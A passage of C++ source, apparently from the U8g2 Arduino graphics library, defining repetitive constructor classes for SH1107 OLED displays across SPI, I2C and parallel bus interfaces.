u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_128X80_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_128X80_2_6800 : public U8G2 {\n  public: U8G2_SH1107_128X80_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_2_8080 : public U8G2 {\n  public: U8G2_SH1107_128X80_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_2_6800 : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_2_8080 : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_128X80_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X80_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_128X80_F_6800 : public U8G2 {\n  public: U8G2_SH1107_128X80_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_F_8080 : public U8G2 {\n  public: U8G2_SH1107_128X80_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_F_6800 : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_F_8080 : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X80_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X80_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x80_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_128X80_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X80_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x80_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_128X80_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X80_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x80_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_128X80_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X80_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x80_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_128X80_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X80_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x80_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_128X80_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X80_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x80_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_128X80_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X80_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x80_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_128X80_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X80_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x80_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_128X80_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_128X80_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_128x80_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_TK078F288_80X128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_TK078F288_80X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_128X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_128X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_128X128_1_6800 : public U8G2 {\n  public: U8G2_SH1107_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_128X128_1_8080 : public U8G2 {\n  public: U8G2_SH1107_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_PIMORONI_128X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_PIMORONI_128X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  